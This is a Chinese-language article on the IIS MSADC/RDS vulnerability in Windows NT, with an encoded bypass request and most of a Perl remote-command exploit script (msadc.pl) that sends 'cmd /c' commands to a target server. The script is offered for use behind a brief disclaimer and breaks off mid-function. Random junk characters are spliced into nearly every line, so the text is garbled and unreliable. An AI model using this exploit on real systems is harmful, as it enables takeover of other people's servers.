IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
\2K_"5 B-<H8[GkG1 涉及程序:
gUcG# Microsoft NT server
9?
#pqw jo-qP4w 描述:
c-2##Pf_8O 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
K`25G_Y3@ X R =^zp? 详细:
yE \dv)(< 如果你没有时间读详细内容的话,就删除:
>c~Fgs c:\Program Files\Common Files\System\Msadc\msadcs.dll
`oxs;;P 有关的安全问题就没有了。
G%V*+Ond uH 6QK\ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
BpGK`0H UqP %S$9 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
%e@Jc3 关于利用ODBC远程漏洞的描述,请参看:
!/6`<eQ
` jNIZ!/K http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm tyH*epanw {=Y.Z1E: 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
E_aDkNT http://www.microsoft.com/security/bulletins/MS99-025faq.asp 22|a~"Z .!\NM&E 这里不再论述。
Lb'HM-d V=@M!;'< 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
:d7tzYT ^ M]+FTz /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Ier0F7]I 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
DKjkO5R\ \>@'wl Z?vbe}pUM #将下面这段保存为txt文件,然后: "perl -x 文件名"
U(.3[x 0 ;b%@_E #!perl
J(\]3 9y #
m|RA@sY%` # MSADC/RDS 'usage' (aka exploit) script
p.gaw16}> #
gX}(6RP_! # by rain.forest.puppy
-L&FguoVB #
&wlSOC')j # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
P(1bd"Q # beta test and find errors!
pMB~Lt9 5df~] -=0Y use Socket; use Getopt::Std;
{~"&$DY2 getopts("e:vd:h:XR", \%args);
7h4"5GlO0 kT!Y~c print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
eQ}o;vJN &J\V
!uVo if (!defined $args{h} && !defined $args{R}) {
*}t,:N;i print qq~
)1KlcF Usage: msadc.pl -h <host> { -d <delay> -X -v }
JVzU'd;1! -h <host> = host you want to scan (ip or domain)
]"3(UKx -d <seconds> = delay between calls, default 1 second
@bN`+DC!< -X = dump Index Server path table, if available
H$
!78/f -v = verbose
v Kzq7E -e = external dictionary file for step 5
D3^Yc:[_@ USKa6<:{W Or a -R will resume a command session
2qb,bp1$ ;xnJ+$//U ~; exit;}
kp~@Ub
@O3 5z8!Nmb/ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
BPoY32d"_ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
F+Qp
mVU if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
H+]>*^'8 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
+%$'(ts $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
vGK'U*gGD if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
`YDe<@6' B r GaCja if (!defined $args{R}){ $ret = &has_msadc;
D(MolsKc? die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
?lh
`>v 6#/Riu% print "Please type the NT commandline you want to run (cmd /c assumed):\n"
L}bS"=B[&W . "cmd /c ";
? jywW$ $in=<STDIN>; chomp $in;
<c[+60p" $command="cmd /c " . $in ;
#6[7q6{4 :
kVEB<G if (defined $args{R}) {&load; exit;}
.c[v /SB] MCOz-8@|Y print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
=R08B)yR &try_btcustmr;
Rw$>()}H8 $J>J@4 print "\nStep 2: Trying to make our own DSN...";
n\Z&sc &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
]%yph3C FbMX?T"yH print "\nStep 3: Trying known DSNs...";
dF$Fd{\4^ &known_dsn;
$Ik\^:- /( /)nYAjk print "\nStep 4: Trying known .mdbs...";
By| y: &known_mdb;
c=U1/=R5 C F2*W).+ if (defined $args{e}){
nVqFCBB print "\nStep 5: Trying dictionary of DSN names...";
k_rtsN &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
;%r#pv~ QRs!B!Fn0 print "Sorry Charley...maybe next time?\n";
jP{LMmV exit;
C3Mr) 5B[kZ?> ##############################################################################
a'f0Wv0%" *5DOTWos sub sendraw { # ripped and modded from whisker
[p%@ pV sleep($delay); # it's a DoS on the server! At least on mine...
MLV_I4o my ($pstr)=@_;
<$WRc\}&g